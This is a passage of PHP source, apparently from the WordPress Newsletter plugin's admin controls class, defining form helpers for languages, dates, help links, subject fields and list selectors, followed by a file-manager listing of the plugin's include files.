            $languages = array_merge(array('' => $empty_label), $languages);
        }
        $this->select($name, $languages);
    }

    function is_multilanguage() {
        return NewsletterAdmin::instance()->is_multilanguage();
    }

    /**
     * Creates a checkbox group with all active languages. Each checkbox is named
     * $name[] and values with the relative language code.
     *
     * @param string $name
     */
    function languages($name = 'languages', $attrs = []) {
        if (!$this->is_multilanguage()) {
            echo esc_html__('Install WPML or Polylang for multilanguage support', 'newsletter');
            return;
        }

        $language_options = NewsletterAdmin::instance()->get_languages();

        if (empty($language_options)) {
            echo esc_html__('Your multilanguage plugin is not supported or there are no languages defined', 'newsletter');
            return;
        }

        $this->checkboxes_group($name, $language_options, $attrs);
    }

    /**
     * Prints a formatted date using the formats and timezone of WP, including the current date and time and the
     * time left to the passed time.
     *
     * @param int $time
     * @param int $now
     * @param bool $left
     * @return string
     */
    static function print_date($time = null, $now = false, $left = false) {
        if (is_null($time)) {
            $time = time();
        }
        if ($time == false) {
            $buffer = 'none';
        } else {
            $buffer = date_i18n(get_option('date_format') . ' ' . get_option('time_format'), $time + get_option('gmt_offset') * 3600);

            if ($now) {
                $buffer .= ' (now: ' . gmdate(get_option('date_format') . ' ' .
                                get_option('time_format'), time() + get_option('gmt_offset') * 3600);
                $buffer .= ')';
            }
            if ($left) {
                if ($time - time() < 0) {
                    $buffer .= ', ' . (time() - $time) . ' seconds late';
                } else {
                    $buffer .= ', ' . gmdate('H:i:s', $time - time()) . ' left';
                }
            }
        }
        return $buffer;
    }

    static function echo_date($time = null, $now = false, $left = false) {
        echo esc_html(self::print_date($time, $now, $left));
    }

    static function delta_time($delta = 0) {
        $seconds = $delta % 60;
        $minutes = (int) ($delta / 60) % 60;
        $hours = (int) ($delta / 3600) % 24;
        $days = floor($delta / 86400);

        return $days . ' day(s), ' . $hours . ' hour(s), ' . $minutes . ' minute(s)';
    }

    /**
     * Prints the help button near a form field. The label is used as icon title.
     *
     * @param string $url
     * @param string $label
     */
    static function help($url, $label = '') {
        echo '<a href="', esc_attr($url), '" target="_blank" title="', esc_attr($label), '"><i class="fas fa-question-circle"></i></a>';
    }

    static function idea($url, $label = '') {
        echo '<a href="', esc_attr($url), '" target="_blank" title="', esc_attr($label), '"><i class="fas fa-lightbulb-o"></i></a>';
    }

    static function field_help($url, $text = '') {
        if (strpos($url, 'http') !== 0) {
            $url = 'https://www.thenewsletterplugin.com/documentation' . $url;
        }
        echo '<a href="', esc_attr($url), '" class="tnpc-field-help" target="_blank" style="text-decoration: none" title="' . esc_attr(__('Read more', 'newsletter')) . '"><i class="fas fa-question-circle"></i>';
        if ($text) {
            echo '&nbsp;', wp_kses_post($text);
        }
        echo '</a>';
    }

    static function field_label($label, $help_url = false) {
        echo esc_html($label);
        if ($help_url) {
            echo '&nbsp';
            self::field_help($help_url);
        }
    }

    /**
     * Prints a panel link to the documentation.
     *
     * @param type $url
     * @param type $text
     */
    static function panel_help($url, $text = '') {
        if (substr($url, 0, 4) !== 'http') {
            $url = 'https://www.thenewsletterplugin.com/documentation' . $url;
        }
        if (empty($text)) {
            $text = __('Need help?', 'newsletter');
        }
        echo '<p class="tnp-panel-help"><a href="', esc_attr($url), '" target="_blank">', wp_kses_post($text), '</a></p>';
    }

    /**
     * Prints an administration page link to the documentation (just under the administration page title.
     * @param type $url
     * @param type $text
     */
    static function page_help($url, $text = '') {
        if (empty($text)) {
            $text = __('Need help?', 'newsletter');
        }
        echo '<div class="tnp-page-help"><a href="', esc_attr($url), '" target="_blank">', wp_kses_post($text), '</a></div>';
    }

    static function title_help($url, $text = '') {
        if (substr($url, 0, 4) !== 'http') {
            $url = 'https://www.thenewsletterplugin.com/documentation' . $url;
        }
        if (empty($text)) {
            $text = __('Get help', 'newsletter');
        }
        echo '<a class="tnp-title-help" href="', esc_attr($url), '" target="_blank">', wp_kses_post($text), '</a>';
    }

    static function label($text, $url = '') {
        if ($url) {
            if (substr($url, 0, 4) !== 'http') {
                $url = 'https://www.thenewsletterplugin.com/documentation' . $url;
            }
            echo wp_kses_post($text);
            self::field_help($url);
        } else {
            echo wp_kses_post($text);
        }
    }

    static function print_truncated($text, $size = 50) {
        if (mb_strlen($text) < $size)
            return esc_html($text);
        $sub = mb_substr($text, 0, $size);
        echo '<span title="', esc_attr($text), '">', esc_html($sub), '...</span>';
    }

    function block_background($name = 'block_background') {
        $this->color($name);
    }

    function block_padding($name = 'block_padding', $options = array()) {
        echo '<div style="text-align: center; width: 250px;">';
        $this->text($name . '_top', 5);
        echo '<br>';
        $this->text($name . '_left', 5);
        echo "&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;";
        $this->text($name . '_right', 5);
        echo '<br>';
        $this->text($name . '_bottom', 5);
        echo '</div>';
    }

    function composer_fields_v2($name = 'message') {

        // The composer, on saving, fills in those fields
        $this->hidden('subject');
        $this->hidden('message');
        $this->hidden('options_preheader');
        $this->hidden('updated');
        echo '<input type="hidden" name="tnp_fields[message]" value="encoded">';

        //$preheader_value = $this->get_value('options_preheader');
        //    echo '<input name="options[preheader]" id="options-preheader" type="hidden" value="', esc_attr($preheader_value), '">';
    }

    function composer_load_v2($show_subject = false, $show_test = true, $context_type = '') {

        global $tnpc_show_subject;
        $tnpc_show_subject = $show_subject;

        // phpcs:ignore WordPress.WP.EnqueuedResources.NonEnqueuedStylesheet
        echo "<link href='", esc_attr(plugins_url('newsletter')), "/emails/tnp-composer/_css/newsletter-builder-v2.css?ver=", rawurlencode(NEWSLETTER_VERSION), "' rel='stylesheet' type='text/css'>";

        $controls = $this;
        include NEWSLETTER_DIR . '/emails/tnp-composer/index-v2.php';
    }

    function subject($name) {
        $value = $this->get_value($name);
        // Leave the ID with this prefix!
        echo '<div style="position: relative"><input size="80" id="options-subject-', esc_attr($name), '" name="options[' . esc_attr($name) . ']" type="text" placeholder="" value="';
        echo esc_attr($value);
        echo '">';
        echo '&nbsp;<a href="#subject-ideas-modal" rel="modal:open"><i class="far fa-lightbulb tnp-suggest-subject"></i></a>';
        do_action('newsletter_composer_subject');

        echo '<img src="', esc_attr(plugins_url('newsletter')), '/admin/images/subject/android.png" style="position: absolute; width: 16px; left: 330px; top: 25px; display: block; opacity: 0">';
        echo '<img src="', esc_attr(plugins_url('newsletter')), '/admin/images/subject/iphone.png" style="position: absolute; width: 16px; left: 380px; top: 25px; display: block; opacity: 0">';
        echo '</div>';
    }

    function lists_on_off($name) {
        $lists = $this->get_list_options();
        esc_html_e('Lists to activate', 'newsletter');
        echo '<br>';
        $this->select2($name . '_on', $lists, null, true, null, __('None', 'newsletter'));
        echo '<br><br>';
        esc_html_e('Lists to deactivate', 'newsletter');
        echo '<br>';
        $this->select2($name . '_off', $lists, null, true, null, __('None', 'newsletter'));
    }

    function lists_on($name) {
        $lists = $this->get_list_options();
        $this->select2($name . '_on', $lists, null, true, null, __('None', 'newsletter'));
    }

    function lists_off($name) {
        $lists = $this->get_list_options();
        $this->select2($name . '_off', $lists, null, true, null, __('None', 'newsletter'));
    }

    function autoresponder($name = 'autoresponder') {
        if (!class_exists('NewsletterAutoresponder')) {
            echo 'Autoresponder Addon required';
            return;
        }

        $autoresponders = NewsletterAutoresponder::$instance->get_autoresponders();
        $options = ['' => 'None'];
        foreach ($autoresponders as $autoresponder) {
            if (!empty($autoresponder->list)) {
                continue;
            }
            $options[$autoresponder->id] = $autoresponder->name . ' (#' . $autoresponder->id . ')';
        }
        $this->select($name, $options);
    }

    function logs($source, $attrs = []) {
        include __DIR__ . '/controls-logs.php';
    }
}

Filemanager

Name Type Size Permission Actions
_ Folder 0555
TNP.php File 23.32 KB 0555
addon-admin.php File 21.52 KB 0555
addon.php File 42.58 KB 0555
antibot-subscription.php File 19.66 KB 0555
antibot-unsubscription.php File 17.59 KB 0555
antispam.php File 22.36 KB 0555
classes.php File 27.08 KB 0555
codemirror.php File 16.87 KB 0555
composer-class.php File 48.28 KB 0555
composer.php File 53.34 KB 0555
controls-logs.php File 17.54 KB 0555
controls.php File 107.31 KB 0555
cron.php File 17.63 KB 0555
defaults.php File 25.24 KB 0555
email.html File 2.37 KB 0644
fields.php File 46.66 KB 0555
helper.php File 30.71 KB 0555
logger.php File 19.3 KB 0555
mailer.php File 26.81 KB 0555
module-admin.php File 37.48 KB 0555
module-base.php File 58.43 KB 0555
module.php File 59.46 KB 0555
notification.html File 1.26 KB 0644
paginator.php File 20.22 KB 0555
store.php File 23.71 KB 0555
test-message.html File 8.49 KB 0644
themes.php File 21.94 KB 0555
tnp-blocks.js File 9.41 KB 0644
upgrade.php File 39.06 KB 0555